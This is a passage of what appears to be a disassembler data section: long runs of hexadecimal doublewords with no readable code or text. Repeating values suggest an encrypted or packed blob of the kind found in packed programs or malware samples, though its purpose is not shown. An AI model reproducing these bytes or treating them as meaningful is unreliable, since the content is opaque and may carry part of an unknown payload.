2D12DA6Ah, 0D10F0AE1h, 0CBC69E70h, 4731B460h dd 2E7CBCFDh, 14F13AD0h, 0B94A7601h, 35E334C1h, 0A53733F6h dd 9FB2051Bh, 0CDEABDEEh, 8BCC0F59h, 23D25D15h, 61090EC4h dd 0B0CE85h, 0E916E4A5h, 582E0DFFh, 7D4D91B7h, 6C753F8Bh dd 37F941E9h, 13052FA1h, 2A0574BEh, 79EF35Dh, 0C3A983F7h dd 72D576Ah, 1DBA5A54h, 63AC845Ah, 3129BC4Bh, 10B8C7A4h dd 2B966BAAh, 3379DBC6h, 0A5B988FBh, 2C4EFBBh, 8DE80A2Eh dd 0A4A035EDh, 9692D430h, 0EA88493Ch, 0F30E8063h, 4B746E2Eh dd 2C14D6EEh, 0CC821C9Fh, 0C2A9F3B6h, 0DED9CD94h, 5EFDA643h dd 0DDC93F4Ch, 91A639D1h, 14F0C1B0h, 27A4E995h, 0BF664C43h dd 0C149561Fh, 0E706B96Ah, 49A48105h, 2C106BEDh, 0CBCE579Fh dd 0DEA57DE1h, 35D65B58h, 0E25AD8BFh, 0D86AD3EBh, 0E3A23722h dd 96151A38h, 7284938Fh, 0C3C47C83h, 0DB5461FBh, 0FC7DDA2Ah dd 0EE27F51Ah, 0A1CEC027h, 80696277h, 23EF89DEh, 20ADB891h dd 0C3FCFEE0h, 0A38905BFh, 4BBD491h, 0EAD74CCFh, 2EDE49EAh dd 19B0480Ch, 0FD889C0h, 50D16237h, 5A11CCBFh, 99B39FDh dd 0EBCD7826h, 0B207F53Ah, 0B052D8D6h, 26162CF8h, 4F7A17E3h dd 48ABC2C6h, 4B9AB56Dh, 3D388A26h, 0EE5ACC6Ah, 0A58D4151h dd 0D6F65972h, 7A5D68F3h, 94A62E57h, 1ABA3B96h, 57DCA37Bh dd 33E0091Bh, 57DDD853h, 9C5B3BC8h, 0EAA8D32Eh, 8AED6369h dd 528021FDh, 0CD8988DDh, 5BF6DAC3h, 0F886348Dh, 4A7B05BFh dd 42C149A8h, 115396AFh, 91B05BFh, 7713F322h, 45CCFAD8h dd 57DCA5F9h, 0F387E58Bh, 5AAA05BFh, 63A3EBB0h, 0CA0A5FE5h dd 10DF995Ah, 0E3A1EDA7h, 0CBE2566h, 0B3600301h, 6D091837h dd 53A3A7B7h, 53D3C2BFh, 33539768h, 698FCEC5h, 9648E4D9h dd 1B231C42h, 7041BDA6h, 0D47702BDh, 0C6902D7Dh, 8C39041Dh dd 74D977CFh, 9FEF8303h, 6631C568h, 3B58B4BAh, 60BF35F2h dd 0AB637C0Ah, 5E1524FFh, 0B2AE48FBh, 5176AFB1h, 0F16143ECh dd 95CF07D6h, 71135813h, 94A638CEh, 4D2B7096h, 0A114BEEFh dd 92ACEDE8h, 24FA7DC0h, 8A2CD22Ch, 24562748h, 0F695B516h dd 0B50A5F70h, 59643CC3h, 473874C0h, 3C83A7AFh, 5480DF89h dd 0B28304B9h, 8B053E3Bh, 83E17098h, 5ADD283Ah, 3099B321h dd 996DEF5Eh, 162FC45Ch, 0A45EBB62h, 6F802692h, 2C941487h dd 0D7A70636h, 0E15A3A26h, 8DB8C61Eh, 24FA7DC0h, 89D71E89h dd 9DF11A43h, 3FF638E9h, 7F0D055Ah, 9EF5E399h, 9BC54647h dd 0DC18017h, 62525800h, 482933DFh, 0E517BA04h, 0AB7A555Bh dd 253A390Eh, 35DDD13Bh, 9B2A2090h, 8B44D71h, 7E6355BBh dd 76D2471Fh, 0A9C2D499h, 98C5269Dh, 0D23AB7B6h, 0ED8A776h dd 9F58968Eh, 9253B2E9h, 3B077A96h, 47ACB7A0h, 268C98AAh dd 2E05786Dh, 1E8EA5h, 6F63AD47h, 1E8841h, 0E717B647h dd 0A1199146h, 2E057876h, 0F6C1425Ch, 885C5C1Ch, 95749796h dd 59940C01h, 2CCC08C4h, 94B71360h, 59940896h, 7A000F78h dd 9253976Ah, 92539B17h, 2CCC1696h, 67F408C4h, 0DD1FF843h dd 75032348h, 10E05D9Bh, 95C75B21h, 92539101h, 0F7E73033h dd 6F474A32h, 0FFA429CEh, 0AEB3B32h, 80DB52C2h, 0C1153Eh dd 91DEA30Dh, 67F418D0h, 7A000F78h, 9253976Ah, 92539B9Fh dd 2CCC1696h, 59942AC4h, 6D50E0Bh, 925391C6h, 7C351096h dd 0F9539796h, 6D8F3BC3h, 4E2F7B7Eh, 397665Dh, 0C2193139h dd 871A2F69h, 4618DED0h, 7A5E1265h, 8A86DA5Fh, 0EE5DF9FBh dd 6E2AEFCh, 0E7E3ADC9h, 6CA13378h, 2C8524F2h, 7798EAD2h dd 0BAE56E66h, 0FD501869h, 5BCD6D60h, 28CFDB84h, 6DB69BD3h dd 925397EEh, 590A2B30h, 9253979Fh, 0Ah dup(92539796h) dd 6B539796h, 9253857Ch, 0AC839448h, 5F06C6F1h, 29B0F57Bh dd 5EE3EF33h, 39A88EC4h, 69FEFC98h, 0AAA74C7Bh, 0EB3B846h dd 34A34EBFh, 6B0AC032h, 7E9D8D1Bh, 2EB37BE7h, 0FD8D3E1Dh dd 0EBC74FCAh, 76C3C42Ch, 36807B46h, 0F2F088ACh, 0BC231C74h dd 44683F5Fh, 18226E9Ah, 0A9372ADh, 0C2C57665h, 0A88489FDh dd 5CAAF4FBh, 2509B84Fh, 97485C8Fh, 1C6105BFh, 0C3C040B0h dd 0C4F81B64h, 0B03E4BE9h, 0D12011FAh, 0ACA1922h, 7C49BB7Dh dd 52E2F98Fh, 0EDD926E4h, 85BD3017h dd 0DDFCC87Ch, 0A59BB3B1h, 7A9CE772h, 0D31D9796h, 0EEC49A7Fh dd 7A092B9Ch, 0D025BB29h, 6269AADCh, 0E65507D0h, 8085A335h dd 5480DFCEh, 76C3CCC3h, 9F5CA7A5h, 2344C4CEh, 0FAE555E7h dd 8580DF22h, 2C049796h, 86DBAF5Ch, 0BD9A5C61h, 0D1BC9EE9h dd 4CFE9DB6h, 0C995F871h, 0B2C97B4Ch, 0DDB4EC03h, 59EACC2Eh dd 7FAA5938h, 5CA61191h, 346E6FFFh, 40212C59h, 0E687E4FEh dd 9CAA1191h, 3AF0B91Fh, 0A12AC25h, 0A1B374A4h, 2D9C6277h dd 0A9F99B02h, 0CB53BFE1h, 0CF6E3AA9h, 0E4765816h, 2F0F2D0Eh dd 0C10051E6h, 0E37496ACh, 0A6990E16h, 2FEAA875h, 8E58DCC8h dd 0A0C89E7Eh, 31ABCDA2h, 1214C007h, 7394A683h, 774AF77h dd 0C3CEE02Eh, 0F466D109h, 0D366EF0Bh, 3B0041C6h, 717B592Fh dd 40E0A585h, 679965DFh, 0EAF8D6F1h, 7A19DB8Eh, 0AF3EF85Ah dd 6F417CB1h, 0A6988F66h, 0F8C22503h, 0C976ED4Dh, 4D4D9CA8h dd 0B8A38E87h, 0DD8EB25Eh, 5BAA493h, 158423FEh, 0EA8DFBC0h dd 8AE00B33h, 5D68AD86h, 7C05DEBh, 43F3CA27h, 0E8ECFA9Fh dd 62910B33h, 35393A4Ah, 0B5BED275h, 90912B30h, 5766EB71h dd 2F290CC5h, 0B360C230h, 4D663CA5h, 0D8389B02h, 0EB8F6F96h dd 380155B8h, 46EBBDE2h, 11CB2251h, 88052506h, 24460B41h dd 8926AED5h, 309D425Fh, 0C2636C2h, 60FB81F2h, 8D537649h dd 458C0B41h, 51722F06h, 87ADA922h, 31D85654h, 6C00AD32h dd 0F0C46690h, 7D0BC0FAh, 0A162636Ch, 15F99B08h, 969D4C3h dd 5C21CADBh, 206982DAh, 0E8F70AF3h, 2F69D7BBh, 0BA9A428Dh dd 5DDB4417h, 0E529C40Ch, 649A4AFFh, 3F10ECA7h, 0DA73237h dd 6DA7855Eh, 3F198B6h, 0CA65AEB7h, 5541656Ah, 0DA09D65Ch dd 8B6E7FD4h, 0B90F3564h, 997D792Dh, 895FFF5Eh, 4D6595A5h dd 43219B02h, 20FF608Ch, 3A47055Eh, 5A5E11A0h, 91AF7CFCh dd 1C7C979h, 5091BD3Fh, 2F69E675h, 0F4409D06h, 4C387B9Bh dd 83DF0522h, 857B63F6h, 0E14E411Dh, 81844CE6h, 0ADB7A66Ch dd 3D80D0B5h, 37173F31h, 49BE0C68h, 4494426Eh, 0F617A1ABh dd 0A343C4BDh, 55BAC7C0h, 43B20674h, 4FEF00D0h, 3D2E8C92h dd 0CEC42C40h, 9D7FBA10h, 644D75E5h, 0F4D165A3h, 89EB8578h dd 27333BF8h, 96E60EF7h, 0D031CD58h, 0D0990371h, 9A11B7FBh dd 7C28AF41h, 0DEE7F344h, 55C427C8h, 9C95B842h, 872DC82Eh dd 945338C3h, 6D9B5DB8h, 0AAC3869Fh, 0C3823109h, 1C47E315h dd 0AD2D25AFh, 7ECBDD44h, 4D611BD4h, 838B31E0h, 0F8F42A2Fh dd 9281B990h, 0B7DA8447h, 0CE3E2D3Eh, 0C607434Eh, 55BAC597h dd 2BE49874h, 8F035D41h, 0AC715AE4h, 0ACE22576h, 14D887D8h dd 0D9DA0C74h, 3E45ECA5h, 4B219B02h, 0B4FA2251h, 0B6B510EBh dd 860DAC5Eh, 51723E4Dh, 0D4BCBB22h, 0BBEC1CADh, 5D370B44h dd 152D246Dh, 44EF119Fh, 40D5BC85h, 0CC0BC000h, 0A676EC5Dh dd 5429FDCDh, 4BF99B46h, 0C1A324FCh, 2F69E6B0h, 47F6D739h dd 2B4E1304h, 0B6B00D40h, 0B1AD55Eh, 0CBD4B27Bh, 8E7A3E61h dd 8FE9D675h, 4DAC417Dh, 757C18C8h, 59933CAh, 8FB91502h dd 0E2BA8BC0h, 2F185154h, 9B87FA8h, 624B6AA4h, 8F569964h dd 0C1A3279Bh, 2F69E6B0h, 0F05F0539h, 0E5665C3Dh, 193DDDh dd 0FBC6B4DEh, 0A306A9Eh, 2A0B805Eh, 76D36874h, 0FFDCA5BDh dd 7CC8692Fh, 0B23DC61h, 0FBC6B47Bh, 6C1A5428h, 0E159FDBDh dd 4E7863B2h, 47CC5198h, 906DE2F4h, 8A8DB6F5h, 0B29F723Fh dd 0EB59299Ah, 4502395Eh, 0DBFF8D71h, 94DB5DAAh, 3801673Bh dd 6B658877h, 48DC8A0Fh, 0D0F99B02h, 0FBC6B4CEh, 0E17B9AE6h dd 2F69E19Dh, 0C823AD99h, 0E5BB81CAh, 0C28E9E92h, 0D511EDE8h dd 0BE360A32h, 6F8BB338h, 63A57626h, 0D05BD9Ch, 0C7EF7470h dd 10854793h, 69EECB2Ah, 0BEEC7311h, 3D7D5FE3h, 350CD380h dd 0D3BF6C1h, 0FADE7C70h, 9B6F2A0Dh, 0A6CABE3Ch, 0A4C7C953h dd 441E9805h, 0B61F99D9h, 677EE202h, 2D2E8DEFh, 61AC99C4h dd 0E8962C4Fh, 35BB5C6Fh, 1D0E852Ah, 0B5C6B4DEh, 1B27D601h dd 0AEB95C9Bh, 0F17D9787h, 9911024Bh, 0C66F6148h, 4BF9993Fh dd 0B52D24ACh, 0F0B5DD7Bh, 1FB5EAECh, 24250F3Eh, 31E301BCh dd 0DC427AEEh, 321745B0h, 0C7FDDAFBh, 2F69E693h, 0F0B34D8Bh dd 2D8920DDh, 0E524C75Ah, 0C1A33517h, 2F69E6B0h, 0DCF6D739h dd 494D207Fh, 5072246Ah, 4839AD39h, 5FF99B02h, 0AE69D4BAh dd 5AA3427Eh, 0B9F880E1h, 0EE3D9C5Eh, 9DBA9DEEh, 67A92488h dd 0BA89212Dh, 0C725C5B7h, 0D30BC0CFh, 0C85D2AFh, 313692FEh dd 0FA07C844h, 0B6744775h, 314A2177h, 0F6403A7Eh, 54C7BA34h dd 0ACEEBC67h, 16444E22h, 2FEE4905h, 2A346C1Ah, 0CD6C34F4h dd 420E350h, 0A8CC9401h, 0F7CAC9B3h, 0FA9BA560h, 0A196970Eh dd 725EB273h, 26D614AEh, 3FBC21C9h, 2B4F264Ah, 0AC876DDFh dd 0C73A14FAh, 0D16474C9h, 9B145884h, 0B95A346Eh, 1C7452Dh dd 7C375CF1h, 0F7ADEF0Ah, 5B342D06h, 0E63E20E3h, 6819C5EFh dd 273E212Dh, 7C0C4EB2h, 0A0F99A99h, 0D32CD497h, 2D02D151h dd 80023825h, 0C7175A2Fh, 1DB9CECFh, 0AEEAA1B7h, 23FE404h dd 2F69E18Ah, 28095A6Eh, 57723517h, 0F4311ABh, 97BCF0D8h dd 0C316E09Ch, 285EB3A2h, 8805251Ah, 24460B41h, 5AB395D5h dd 34B63057h, 4D113098h, 35B48D02h, 0C71F852Ah, 60C1A9CFh dd 17EE5324h, 6E8920DDh, 0CC6478D1h, 8BA3EDD2h, 538920D6h dd 0C410581Fh, 0F6450D12h, 0E44DBA34h, 0A4CC772h, 5C72A960h dd 2FED9C22h, 0AA8AE6EDh, 0B9285720h, 30B4A8D2h, 10B204EEh dd 654AFCFCh, 333CF57Eh, 5A232E59h, 0BF5E585Bh, 2F1C44B6h dd 3BA149D3h, 1417597Fh, 598B2D5Ch, 3220E376h, 22F76A70h dd 9FBFD21Bh, 0F63C8114h, 12BF7059h, 4361F14Eh, 0CD55BAA5h dd 0AE69D497h, 10739D7Eh, 0B1D1324Ah, 34C86AAAh, 2BCA7EEh dd 8E867172h, 0AA18EB71h, 1990B98Bh, 0E5C0B2AEh, 7C375CEAh dd 0F7ADEF0Ah, 4D0A1FBAh, 14240802h, 0B6A8A086h, 0E2F32082h dd 35B4DC0Ah, 3864EA2Ah, 2F69D125h, 8EE27D87h, 6F38534Bh dd 58DB0B41h, 0AD61A073h, 70C1C03Eh, 2425EFA5h, 2AE4ECA7h dd 0CF2D255Dh, 2C48685Fh, 66CDD75Ch, 72F99B08h, 0AE69D4BAh dd 2222AC7Eh, 2C0A1C32h, 668C517Dh, 843B9CE0h, 6F385144h dd 0A9BB0B41h, 8E7A25BBh, 0B78A9775h, 0F88E7166h, 0FBC7BA34h dd 0ADCF9AE6h, 5D218D5Fh, 9C95BB69h, 12CEDB71h, 22C98FF3h dd 94884DB9h, 0D353B5B6h, 1F3C4D40h, 0B4FCE058h, 0A7210EBh dd 860DAC70h, 8663F5CCh, 0A2F3DA04h, 1CDD835Ah, 4F0EA7D6h dd 0AE74B08Bh, 5F04205Ch, 3572B78Fh, 0C924425Fh, 0EFB6B752h dd 6021542Eh, 3D23B7DCh, 0EF0BEDBDh, 0FBE438F8h, 17092688h dd 97E38691h, 84392973h, 79AB0FE6h, 0CB7E6DAh, 6416CFB3h dd 9B3B7F4Ah, 0D3CB31C1h, 483537E7h, 0BB5E212h, 4DB62C44h dd 7F929B02h, 0F6D6CE1Eh, 0BBFEE530h, 0A9BEB79Dh, 46F222D8h dd 92DA56EDh, 46F92028h, 8DCD56EDh, 0B6FB24E5h, 0A9BEB5A0h dd 861859D8h, 35A81BAFh, 0BCF99B02h, 4BF9AEB1h, 12361A02h dd 205E0C50h, 3C649EF4h, 204E0C02h, 3EB532F4h, 205E0C02h dd 0ECCD8546h, 0BE1B8DB6h, 69E13D3Fh, 0BE20E154h, 0BBEEB1D8h dd 0F81D25EFh, 0E7363C1Ah, 6042A8Ch, 3CF99B09h, 1A742817h dd 0B6EEEA01h, 1E56DCABh, 0F4A3FA91h, 4BF9958Ch, 0D4F65819h dd 0CC254E56h, 0BE203C1Fh dd 4BF9956Fh, 3C8BEC02h, 968AC9B2h, 90FC8FB4h, 900B801Fh dd 0F25E8DC3h, 0A030617h, 82C09268h, 23D3311Fh, 8AD8759Fh dd 3581990Dh, 0ECF99B02h, 210A080Bh, 0BC43BEA1h, 4BF99A9Dh dd 0FB6904A5h, 0BFC87CD3h, 4D210FB3h, 3C01F302h, 0FE759B02h dd 1EBE1598h, 0B34A4FE8h, 0C98DE801h, 0EB7A7F6Eh, 1569E97Ah dd 4BF99A96h, 2FA448E1h, 0FE8C2546h, 0C24B2AFCh, 0C101FC8Eh dd 0FDD10B52h, 919F2522h, 90EFFC7Dh, 4BF99BFEh, 0D63E4B6Fh dd 4F833617h, 6A74F18Eh, 0DC53A98Ah, 0B619BD9Bh, 0F48CE639h dd 0D1D44468h, 3CF41207h, 0B2429B02h, 4BF99A96h, 53E21B38h dd 0DD89BE82h, 0BE02EAA6h, 2B2FDAD1h, 4BF99822h, 367B5AF3h dd 13A1BFD9h, 0D9CBECD9h, 0A379AEB4h, 5EC41A97h, 5C91FB89h dd 4D0CEA8Bh, 2EB73D02h, 0BBB4475Ch, 4D0C3BB1h, 20DC8F02h dd 0C80891C1h, 97948379h, 7991CE40h, 9E17B30Bh, 690A3124h dd 14B6F26Ch, 3E0C3D21h, 0E4F8C387h, 76B9EEE0h, 87B9D742h dd 0E5935C23h, 0B8C1DAB6h, 408B3A3Eh, 7A5FFCFEh, 0B063704Fh dd 20024002h, 3CACC7B4h, 2555FCFEh, 0E5CEE358h, 0D82EEB9Ah dd 0C9999DF8h, 0C1C91BD4h, 0B8C1DA9Fh, 0B0936208h, 0F5069943h dd 3DE3639Bh, 8A7FFCFEh, 0E0301495h, 0A07FFC04h, 0FAD296AEh dd 0DD8BE63Eh, 678BE062h, 227FFC04h, 73FD8702h, 0F2B30090h dd 2FC67AB7h, 407F0298h, 7C65F17Eh, 6DF9DE32h, 0B6AE03EDh dd 0ECE360B4h, 40823B95h, 4CEEADFEh, 7CE3714Dh, 6D626812h dd 65A785EDh, 9B3D6C0Dh, 0B4EFD95h, 0F8E360B5h, 1DDB3552h dd 0A3F2FD93h, 57B5EFEBh, 0D6B00BF0h, 671DE81Eh, 48A2726Eh dd 7E4F814Ch, 199085D2h, 0A58F0612h, 8B4CA0BDh, 0A48388D6h dd 800A1508h, 805B4219h, 0E714612Ah, 0A78EDC12h, 0DEEA68DCh dd 9CA2018Bh, 0F48F0184h, 8B357B2Eh, 9A3367F8h, 854F7AFCh dd 88121E2Eh, 9D9900F0h, 3D877AFCh, 6504444Eh, 0F48FF845h dd 9B910C3Eh, 0C25F7AC6h, 234BCEF8h, 91D5AAF9h, 0F48F0618h dd 0BBC94405h, 0A0DECD24h, 0A30356EDh, 539EE854h, 0BD19DC92h dd 2486870Dh, 898F0181h, 7F730EB4h, 7D9D1E45h, 8B42A6BFh dd 3CC7D0F0h, 0A5736E01h, 77AC9766h, 0D3BF560Bh, 98BD9766h dd 0F1D19F84h, 40E652F1h, 0D0797FEAh, 35D36DBCh, 6935D194h dd 0EBE11E62h, 0D07E4137h, 20746B88h, 0AAC00C4h, 0F230E029h dd 0F5AAEA75h, 207E3675h, 1ECB20C4h, 5B53E574h, 345F62D0h dd 207EE1E2h, 2D0360C4h, 3469566Eh, 207575FBh, 2074707Ch dd 7A8B9C4h, 0FA9BB6E6h, 0EC09E0DFh, 15E98995h, 8FCCA6E9h dd 207E5C04h, 0DDFC60C4h, 0D87460C7h, 696B523h, 39EB99CCh dd 67808988h, 0F6ED011Eh, 1A968C10h, 27E4137h, 20746A9Eh dd 0EE8200C4h, 60E29Bh, 0F5AAEA75h, 207E3675h, 0A11E6C4h dd 12DF1054h, 342D1211h, 9AD548C8h, 0E7783FA3h, 1C25DC9Eh dd 0DC5D5C05h, 0E91C7C0h, 0B2367DBAh, 0C64D2166h, 2F1575F4h dd 6B6CF009h, 0E5A2D1BCh, 136E0ACh, 73F3B463h, 828E117Ah dd 2DC47405h, 9D840801h, 0FC5FF17Eh, 0B611783Fh, 75A0ED3h dd 0B5CA47A8h, 74E0A9ACh, 0B97D2C00h, 0CDB54B8Eh, 48A57C5Dh dd 695A0306h, 8329309Ah, 0D0270B1Ch, 0C9258C21h, 0D456C35Bh dd 0D0621C25h, 3D603014h, 7E52AC2h, 0AC664E2Bh, 235CFB8Ch dd 6A513857h, 0C770DF48h, 0D4D05DE9h, 0D546C503h, 6A4AE303h dd 0C5BFEC48h, 20EB3E21h, 0E6955DE5h, 0A91249DBh, 6A61FD70h dd 389DE148h, 6599890Ch, 780E5574h, 322D9201h, 0B6EA9414h dd 235CFB90h, 6A513857h, 0C770DF48h, 0D4D05DE9h, 0D546C503h dd 6A49A603h, 0C5BFEC48h, 9CA3608Fh, 0AABD2125h, 0F0125958h dd 0BACC6780h, 4E6BD990h, 3CA49548h, 315AB0C0h, 6A4ADFC1h dd 15E43F48h, 0A56E0F79h, 0EC168208h, 4C04DCC4h, 6A5C16E9h dd 0BBB13F48h, 2C924BB6h, 74CA3E19h, 4FD63E1Ch, 0EC463F48h dd 870DC1B6h, 6A514EC6h, 4CAB2E5Bh, 8776F89Dh, 0B3550EDAh dd 98BCBDF0h, 234C4B1Ch, 54125955h, 0B66641CCh, 0CB5CFB90h dd 0B6B28B3Bh, 399C3690h, 71672909h, 0C9045047h, 31535331h dd 4AF5C90Ch, 8E41806Ch, 0CECC1C29h, 0DFDC73F9h, 0CE845741h dd 98954A0Ch, 9F3126D4h, 6DF4D9CDh, 592A1D2Eh, 14211F06h dd 3BAA8C7Bh, 0A928C82Ch, 8FF736D5h, 7F22CF63h, 7283942Eh dd 9C8B4583h, 6D7FB46Dh, 554CFF5Fh, 1E45FA4Fh, 6043966h dd 0E09554D9h, 87D297EAh, 0BF7BC5CBh, 198E2295h, 0E41EFBE4h dd 6787D952h, 4F971370h, 50758B5h, 958AED4Fh, 9993B812h dd 9B3636B5h, 3E8AF21Bh, 94F58EBCh, 0FE7F610h, 6AF67B11h dd 6640BA05h, 2DB11573h, 0EBB1154Bh, 0E1F67B11h, 5FEEC160h dd 0C4077B5Fh, 0F6DAF3E9h, 4A68F1B6h, 4AF47B10h, 4AF6B85Dh dd 8B967B10h, 0A60FA1CBh, 0DE097F1Eh, 4C727C2Bh, 4C497B10h dd 0F1F345CBh, 23A31A25h, 0EAC2A882h, 8BF67B11h, 0C1F02A59h dd 2CC283E4h, 0A3D1C3CEh, 0FDFEF193h, 4AF6B863h, 9A967B10h dd 0EE07D4CBh, 0DE0975BBh, 5ECE7C2Bh, 0C5407B10h, 0DB8A79CBh dd 19114F6Ah, 0E8891891h, 7F52A134h, 5124F1B9h, 7D1D7C10h dd 678AF21Dh, 8FFD51E7h, 90F45317h, 69761EB5h, 4DAADD88h dd 0DC24D50Eh, 592D57C6h, 82EC9A02h, 94B41EC7h, 10C05C65h dd 0A95288D6h, 2B754719h, 448AD202h, 0BCFF64ACh, 0B145E85Dh dd 0C973D525h, 637D4F87h, 2A6EAF44h, 540A2811h, 5598ACABh dd 73459D0Ch, 11F5D50Eh, 0E80EE415h, 0E3541402h, 7821F5B4h dd 0BCFF6B58h, 0B7DB3925h, 704B1406h, 8AD2C000h, 9C012C0Eh dd 653EF4AAh, 717C83FAh, 33EB655h, 220A28E0h, 27F1B257h dd 409B604Eh, 0AF46985Dh, 0B40A2B6Ch, 6680995h, 0F9E2B3ABh dd 0BCFF61E6h, 750997CBh, 8D30D50Eh, 0EF789B80h, 459CE53Bh dd 0BCFFBB78h, 496834C7h, 0A2695722h, 8AD26837h, 0E866A40Eh dd 1C0A20BDh, 8624C468h, 5A178CEAh, 5BC66185h, 993293CAh dd 0FA0CF8FBh, 45933DA1h, 0BCFF54F0h, 0B2661D95h, 0D12A101Bh dd 0F78EEF1Eh, 0E5A2D03Fh, 735515D2h, 0DEFE1B8Ch, 5E092821h dd 3ED3BDB7h, 2C7391F0h, 0CC4B663Bh, 0CC6135C1h, 19F9F288h dd 2ABCED9Eh, 2BB4663Bh, 0AB228CC1h, 9D24322h, 0DC9465B5h dd 789C25FDh, 400C75F6h, 14E162D6h, 5ACAEB37h, 0CAAB663Bh dd 0B34EB3F1h, 0C36BDF27h, 356BD29Ch, 0A1AB663Bh, 0AA0B3B8h dd 55303ED2h, 33A59CEDh, 3ED9459Dh, 12BAA30Dh, 2AAB769Ah dd 372BEF5Bh, 850B3B5Ch, 850B35AEh, 2AAB67F2h, 293488FBh dd 2067B96Ah, 3EE15CECh, 10AB663Bh, 5AD0E037h, 0CAAB663Bh dd 0B3A5B360h, 0C36BD44Fh, 106BD29Ch, 14AB6638h, 0ACCBD23h dd 39E58F6Ch, 3436809Ch, 81B5A156h, 93FB903h, 3ED2960Bh dd 2C7390F4h, 0F84B663Bh, 6C5A0414h, 19F9F27Fh, 574EED9Eh dd 0E7B0663Bh, 0BFC89337h, 2AAB61E0h, 5D2B511Bh, 65AB663Bh dd 0EB67D9FCh, 3ED29604h, 2C739395h, 454B663Bh, 29F1EC37h dd 19F9F288h, 574EED9Eh, 18B5663Bh, 1CFB82BEh, 0FA80F938h dd 0BFE15DD2h, 0E4ADAB78h, 0F431ED6Ah, 45DCE576h, 353871C5h dd 0C16C1911h, 71DF3AF6h, 6BA697E8h, 60790D5Fh, 27888289h dd 0B399D58h, 4BA8732h, 6F2A1F3Bh, 7CF3F642h, 7BF6B574h dd 49416B10h, 0A2C21051h, 8CDEF499h, 706EA04Eh, 92A19C5Bh dd 5E9F1399h, 76AB494Eh, 2FAA240Ah, 0E232F84Dh, 80965FDEh dd 0B8E2C47Fh, 9485D515h dd 2FA74632h, 15E60397h, 2C2F9167h, 318BA82Dh, 87EB8CCEh dd 86A8BC03h, 2C2F9EBCh, 0F38BA833h, 13BAB3D9h, 9485C92Ch dd 0C6144181h, 2FAA5D4Ch, 6B81914Dh, 2F8C89B1h, 32CF914Dh dd 7021A390h, 0CFB355A1h, 0CF0455A4h, 893E9150h, 4297B990h dd 0B92CB944h, 7919F41Ah, 0F82F9167h, 4B93A73Fh, 0B43B6950h dd 0B32E3CA9h, 0EBDCE673h, 36B4C14Ah, 0FD2F915Eh, 2C2F97C5h dd 0BB219C4Dh, 947685C5h, 0D3D8C089h, 0E5115D4Fh, 86CB2E51h dd 0B1C9E089h, 6B945D4Ch, 2F8C8320h, 43CF914Dh, 68226690h dd 0CFB355A4h, 0CEC555A4h, 0AFEF9150h, 0A0779C8Dh, 0D807BD1h dd 0D95DFE02h, 75A1A08Fh, 2D4E884Dh, 0A0A1B15Dh, 413C4DBCh dd 0DA2D02EFh, 2FD2F9CCh, 9AFBB316h, 187DE15Ah, 0FDE128FEh dd 7DE63CE3h, 18507F5h, 454D992Eh, 20335882h, 0E0D398Dh dd 0A8A7885Dh, 0BA75E77Bh, 99CBF338h, 6BC233EFh, 0B6FE2890h dd 60BAADC5h, 0C3BD6C1Ch, 0ECF50DDh, 0EE480EF8h, 3A615D46h dd 0F867B8A3h, 9E186909h, 0CF26BDB0h, 4FD0DD19h, 0F16C5424h dd 1282222Ch, 32C1C6FBh, 7A6C4DE9h, 8244BF5Bh, 0CC9183E9h dd 481F2673h, 40EAE9DFh, 8A9B3605h, 0F48EB08Eh, 0BC396F8Ah dd 0F59B8502h, 0BC3D2F36h, 648F3602h, 0A759B08Eh, 644184EBh dd 86ABA2B2h, 0D7259D5Dh, 0DDB5D953h, 5ADDC166h, 0D0130F00h dd 772AC9B1h, 76BE71B1h, 8EB0A0DBh, 0F88B70F6h, 7F8D9109h dd 3C89545Ah, 38DB636Ch, 0DCAF5502h, 0E3BC44F1h, 0F511847Bh dd 6DD4F437h, 2B01F3D1h, 0AED0B12Ch, 0BA4184E2h, 974184E9h dd 0E7FBE132h, 659051D4h, 3B867C08h, 36655BCDh, 0B9ADE92Ah dd 0E69F3C17h, 0BC38B352h, 0D7528866h, 975B1075h, 79D284D1h dd 5A515073h, 4CEDDD9Ch, 974184F3h, 0F3D41DE8h, 0E55B92F0h dd 0B3F3D60Ch, 0D02EA6A1h, 8774CB19h, 974184DEh, 86F7CB8Bh dd 0E52D8B63h, 0A211F660h, 0C63ABEE4h, 0F13AB9A2h, 799CAF91h dd 7F745B1Bh, 0C6EA0CD1h, 8441950Fh, 432F5548h, 63017C9Dh dd 1D513221h, 8932496Ch, 0E1CF84D1h, 49AD5AB7h, 799DBFD1h dd 551E6505h, 0DDB6B2B3h, 8BC442B7h, 0D416F778h, 0CC4184E2h dd 12036490h, 0A07D2265h, 8FC420D1h, 227AA712h, 0CEE6A484h dd 5DD427C5h, 4004CF7Fh, 0F43666A7h, 87A9560Ch, 69385454h dd 40CD7726h, 975226EDh, 0D6289CD1h, 6775C951h, 8DCBED8h dd 50EDF0E3h, 6A8E8244h, 0DE8FB06Eh, 25EE56E9h, 0DE871732h dd 95B398E9h, 7C46D89h, 0C2B6BA95h, 6254372Ch, 27328007h dd 0E7EC9F56h, 271E1BB0h, 0C2BFD3E7h, 0BB40C304h, 8107A4B8h dd 0A2DF65DEh, 0CF8801FAh, 5120F519h, 44DCD74Dh, 0C3F82088h dd 0E981B01Ah, 0EEEC7B3Fh, 7E307504h, 0A1B280F5h, 5EB8465Eh dd 0B6B6BBF3h, 499B6A66h, 3F20EA18h, 0ADA853E7h, 0E3EC990Ch dd 61F43112h, 0C1C205F3h, 2F9991Bh, 9DB42E98h, 7D91F813h dd 80E97E9h, 31880056h, 7AEC90D5h, 0DA5F2ECh, 95A2EA12h dd 0E3EC990Fh, 53984D12h, 591E05F3h, 2F998DFh, 9DB56C5Ch dd 0DE901413h, 0C40E97E9h, 3187879Dh, 7AEC9951h, 48A9F2ECh dd 0B1A2EA18h, 0E3EC98DEh, 25C38112h, 591A05ECh, 2F998DFh dd 9DB54800h, 7AED5013h, 1C0E97E9h, 3187916Ch, 7AECA68Dh dd 0A625F2ECh, 3DA2EA19h, 0E3EC98E9h, 0EDED5512h, 9C9605F0h dd 2F99912h, 9CBE2630h, 68FA4C13h, 380E97E9h, 3187973Dh dd 7AEC98C9h, 236DF2ECh, 0B9A2EA12h, 0E7EC98E9h, 9C97F096h dd 72FE9912h, 9217B895h, 0A78782ADh, 98329E24h, 61F35FF7h dd 74EE6BF3h, 9CBEE8EDh, 0DF696003h, 7A0B805Eh, 9B8B53E9h dd 0E52992E9h, 0FDB0EA12h, 7AEC910Dh, 78365F16h, 76F90071h dd 391107B4h, 0BD676A5Eh, 5CEEEA12h, 804DE007h, 0CF87EE73h dd 0DE7F0B24h, 9D8E98E9h, 